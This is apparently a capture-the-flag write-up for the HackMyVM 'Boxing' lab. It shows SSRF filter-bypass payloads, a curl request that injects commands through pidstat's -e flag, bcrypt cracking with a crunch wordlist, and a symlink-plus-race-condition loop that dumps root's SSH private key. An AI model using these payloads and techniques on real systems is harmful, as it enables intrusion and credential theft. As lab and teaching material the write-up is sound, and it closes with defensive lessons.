Post

Boxing

This machine teaches about the race conditions along with symlinks.

Boxing
Machine LinkBoxing
Operating SystemLinux
DifficultyMedium
Machine Created bycromiphi

Port Scan Results ⤵️

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ nmap -sC -sV -p- -vv -T4 -oN Nmap_Result.txt 10.0.2.13

Nmap scan report for 10.0.2.13
Host is up, received arp-response (0.00054s latency).
Scanned at 2025-06-24 11:14:07 IST for 14s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:74:2f:1c:d1:23:f6:1f:dd:3a:52:94:5d:8b:7c:d9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLY/Tir2FkRAXQpX/SIaJMH+KPi9iy+ORbcXQ8wNEeYMKqY3YBCu/UK6o4uEI67PItwJjQU6LDviN0lvscz6TAw=
|   256 96:fb:74:b2:7d:ac:66:40:e9:94:df:83:9a:a6:07:64 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA+Bu0Z/Y8/SDx2JYaJsoWxQzQWUgaLuni9OyAE4SdFm
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Oxer
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
MAC Address: 08:00:27:AF:3D:7B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration ⤵️

Lets check on the port 80 Web part 🔻

A static webpage

Through Burpsuite I can see a subdomain through loading feedback.php page 🔻

Lets see the site 🔻

This subdomain page react with SSRF payloads

Lets find some information related to domain name , sub-directories or directory listing.

1
feroxbuster -u http://staging-env.boxing.hmv --depth 2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o ferox.json

Feroxbuster Tool result

Through directory bruteforcing with feroxbuster tool I can see the files like client_requests.har.swp where I get this information.

This file includes clues related to cassius user password

Lets decode this URL encoded text and see the content clearly through burpsuite decoder tab 🔻

Decoded strings

Now with the subdomain we can see a input url input box that require us to enter a url , that em-pleas that there may be indication of SSRF vulnerability present lets clarify our suspicion.

I tried all the SSRF payload with whitelisting filter bypass also and I got a response also from this 🔻

Bypassing filters

In order to conduct SSRF attacks properly, there may be use cases where filters need to be bypassed

Pattern validation

In this context, a whitelist-based input filter can be used to restrict the types of URLs that a user can submit. For example, the filter might only allow URLs that match the whitelist pattern. In this situation, you can bypass the filter using various techniques :

  • Using the @ character in a URL like this :
  • https://{url}@{target_host}
  • Using the # character to indicate that the first field is interpreted as a URL fragment like this :
  • https://{target_host}#{url}
  • Using the DNS name to place required input into a fully-qualified DNS like this :
  • https://{url}.{target_host}
  • URL encode, even double URL encoding this special character to bypass the filter
  • Use a combination of all this technique like using the #@ characters.
1
2
3
http://boxing.hmv#127.0.0.1
or
http://boxing.hmv@127.0.0.1

SSRF whitelisting filter bypass payloads that let us see port 80 of server

Now I can see the port 80 of this site is loaded so lets find out which other ports are open internally and not visible to externally through this SSRF vulnerability 🔻

I used a command port numbers to get this scans done with this wordlists : Top nmap 10000 ports

Other ports that are internally open in server and not externally visible

I got a hit on port 5000 lets see the contents I got this input field again this time it is processName .

Port 5000 internal port

After some headaches I got that some process name commands gives some outputs like system,asd,systemd like that and that is also only visible through curl execution like this 🔻

This input field lets execute pidstat tool ouput

1
2
3
4
5
6
7
8
9
10
11
└─$ curl -s -X POST "http://staging-env.boxing.hmv/index.php?url=http%3A%2F%2Fboxing.hmv%40127.0.0.1%3A5000?processName=system" | grep '<pre>' -A 8
<div class='output'><pre>Linux 6.1.0-17-amd64 (boxing) 	27/06/2025 	_x86_64_	(1 CPU)

05:53:49      UID       PID    %usr %system  %guest   %wait    %CPU   CPU  Command
05:53:49        0         1    0,13    0,18    0,00    0,52    0,31     0  systemd
05:53:49        0       220    0,02    0,02    0,00    0,13    0,05     0  systemd-journal
05:53:49        0       237    0,04    0,04    0,00    0,25    0,08     0  systemd-udevd
05:53:49      997       267    0,02    0,01    0,00    0,25    0,03     0  systemd-timesyn
05:53:49        0       454    0,02    0,01    0,00    0,14    0,03     0  systemd-logind
</pre></div></body>

That command behind this execution is pidstat tool that result in this output 🔻

From GTFOBIN pidstat commands

Lets apply this command if this pidstat is behind this script then we need a command along with another command for command execution.

1
2
3
system+-e+id
# This above code does not work due to not url encoded so lets encode it then use it again 🔻
system%2B-e%2Bid

This pidstat command lets execute command like id

1
2
3
4
5
6
└─$ curl -s -X POST "http://staging-env.boxing.hmv/index.php?url=http%3A%2F%2Fboxing.hmv%40127.0.0.1%3A5000?processName=system%2B-e%2Bid" | grep '<pre>' -A 4
<div class='output'><pre>Linux 6.1.0-17-amd64 (boxing) 	27/06/2025 	_x86_64_	(1 CPU)
uid=33(www-data) gid=33(www-data) groupes=33(www-data)

06:15:17      UID       PID    %usr %system  %guest   %wait    %CPU   CPU  Command
</pre></div></body>

Lets have a shell through nc reverse shell command 🔽

This let us execute a proper shell through nc command

Lets do some enumeration after exploitation 🔽

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@boxing:~$ ls /var/www
ls /var/www
dev  html
www-data@boxing:~$ ls /var/www/dev
ls /var/www/dev
boxing_database.db  cache  index.php
www-data@boxing:~$ cd /var/www/dev
cd /var/www/dev
www-data@boxing:~/dev$ file boxing_database.db
file boxing_database.db
boxing_database.db: SQLite 3.x database, last written using SQLite version 3040001, file counter 5, database pages 6, cookie 0x4, schema 4, UTF-8, version-valid-for 5
www-data@boxing:~/dev$ sqlite3 boxing_database.db
sqlite3 boxing_database.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
.tables
fighters  matches   news      users   
sqlite> select * from users;
select * from users;
1|cassius|$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu
sqlite> .exit
.exit
www-data@boxing:~/dev$ 

Lets crack this passsword for user cassius 🔻

From above hint I got though the client_requests.har.swp file where the password is suppose to be ‘Cassius!’ that means that there are some characters are missing into this password I am guessing that the characters that are messing are numbers so Lets create a number combinations after this password and run through this password hash through John the ripper tool.

I have 2 ways to create the wordlists like this :

  1. Through crunch Tool :
    1
    
    └─$ crunch 8 12 -t 'Cassius!%%%' -o wordlist.txt
    
  1. Through bash script like this 🔻
    1
    
    └─$ echo 'Cassius!'{0..9999} | tr ' ' '\n' > wordlists.txt
    
  1. We can also use the direct john rules method like this 🔻 ```bash └─$ echo ‘Cassius!’ > password.txt

└─$ john hashes.txt -w=password.txt - rules=best64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{: .nolineno}
![](Pasted%20image%2020250625141158.png)
_Cracking of password hash with custom made wordlists_

```bash
┌──(kali🔥kali)-[~/Downloads/HackMyVM/Boxing]
└─$ john --wordlist=wordlist.txt hashes.txt                     
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Cassi****    (?)     
1g 0:00:00:00 DONE (2025-06-25 12:23) 3.030g/s 381.8p/s 381.8c/s 381.8C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Lets have an SSH session now 🔻

Got a proper SSH shell which is stable

Now for the root user I need some more enumeration through this user let us see what this user can do to get to root 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
cassius@boxing:~$ 
cassius@boxing:~$ cd /opt
cassius@boxing:/opt$ ls
pidstat  sos
cassius@boxing:/opt$ cd sos
cassius@boxing:/opt/sos$ ls
incrontab.sh  logs  sos.sh
cassius@boxing:/opt/sos$
cassius@boxing:/opt/sos$ cat incrontab.sh 
#!/bin/bash

echo '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab -
echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab -
echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -
cassius@boxing:/opt/sos$ cat sos.sh 
#!/bin/bash

logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logs

cd /home/cassius
file *
ss -altupn
last -a
w
ps aux
top -n 1
lsof

for user in $(cut -f1 -d: /etc/passwd); do
echo "Cron jobs for $user:"
crontab -u $user -l
done

tail /var/log/syslog
sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/*

chmod 700 $logs
cassius@boxing:/opt/sos$ 

For exploiting this cronjob for root I need to use echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -

This command to make some changes which is possible though IN_ATTRIB this attribute that let us make some changes.

How I Used a Race Condition to Capture Root Log Files in a Linux Privilege Escalation Lab

  • A script running as root:

    1
    
      /opt/sos/sos.sh
    
  • It logs system information to:

    1
    
      /opt/sos/logs/output-logs.txt
    
  • I could not read this log file directly since it was root-owned.

How sos.sh Created the Race Condition

Inside sos.sh:

1
2
3
4
5
logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logs
...
chmod 700 $logs

What happens:
1️⃣ Deletes output-logs.txt.
2️⃣ Recreates it and sends all output there.
3️⃣ Changes permissions to 700 (only root can read).

⚡ The Race Window

Before chmod 700 runs, the file is created with default permissions (644), making it temporarily world-readable.

Using the -f Flag Trick in file *

What I did:

  • Created a file named -f:

    1
    
      touch -- -f
    
  • Since sos.sh runs:

    1
    
      file *
    

    the * expands to -f and other files.

What happened:

  • file interprets -f as a flag:

    1
    2
    
      file: invalid option -- 'f'
      Usage: file [OPTION]... [FILE]...
    

Let take an example to clarify this, why am I using -f flag not any other flag from file command, Lets use it on user.txt file 🔻

Working of file command As you can see the -f flag omits the content of the files that’s why.

For this to work I need to create a symlink that does this 🔽

How I Dumped a Root SSH Private Key Using a Race Condition and a Symlink

Steps:

1️⃣ Created a symlink:

1
ln -s /root/.ssh/id_rsa id_rsa_link

2️⃣ Ran a loop to repeatedly trigger sos.sh:

1
2
3
4
while true; do
    touch /home/cassius/user.txt
    cp /opt/sos/logs/output-logs.txt ~/ 2>/dev/null
done

3️⃣ After a few seconds, output-logs.txt appeared in my home directory containing:

1
2
-----BEGIN OPENSSH PRIVATE KEY-----
...

Extracted id_rsa file from root directory

✅ Result:

I successfully dumped the root SSH private key using:

  • A symlink + file * misconfiguration.
  • A race condition on log file permissions.
  • An aggressive copy loop to capture the file during its readable window.

🛡️ Defensive Lessons:

🔒 Never run file * as root on user-writable directories.
🔒 Avoid logging sensitive data to world-readable locations, even temporarily.
🔒 Use strict umask or O_CREAT | O_EXCL with correct permissions on sensitive logs.

Lets sort this private key and get the root shell now 🔻

This output is sorted in sublime-text Tool text editor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali🔥kali)-[~/Downloads/HackMyVM/Boxing]
└─$ awk -F: '{ print $1 }' root_id_rsa > root
                                                                                                                              
┌──(kali🔥kali)-[~/Downloads/HackMyVM/Boxing]
└─$ chmod 600 root            
                                                                                                                              
┌──(kali🔥kali)-[~/Downloads/HackMyVM/Boxing]
└─$ ssh root@boxing.hmv -i root       
Linux boxing 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb  4 17:19:34 2024 from 192.168.0.30
root@boxing:~# whoami
root
root@boxing:~# id
uid=0(root) gid=0(root) groupes=0(root)
root@boxing:~# hostname
boxing
root@boxing:~# ls -al
total 36
drwx------  5 root root 4096  4 févr.  2024 .
drwxr-xr-x 18 root root 4096  4 févr.  2024 ..
lrwxrwxrwx  1 root root    9  4 févr.  2024 .bash_history -> /dev/null
-rw-r--r--  1 root root  571  4 févr.  2024 .bashrc
drwx------  3 root root 4096  4 févr.  2024 .config
drwxr-xr-x  3 root root 4096  4 févr.  2024 .local
-rw-r--r--  1 root root  161  4 févr.  2024 .profile
-rwx------  1 root root   33  4 févr.  2024 root.txt
drwx------  2 root root 4096  4 févr.  2024 .ssh
-rw-r--r--  1 root root   55 26 juin  08:01 user_flag.log
root@boxing:~# cat root.txt
1*******************************
root@boxing:~# cat user_flag.log 
File: /etc/resolv.conf.dhclient-new.22177 => IN_DELETE
root@boxing:~# 

This machine was fun to solve !!

If you have any questions or suggestions, please leave a comment below. Thank You !

This post is licensed under CC BY 4.0 by the author.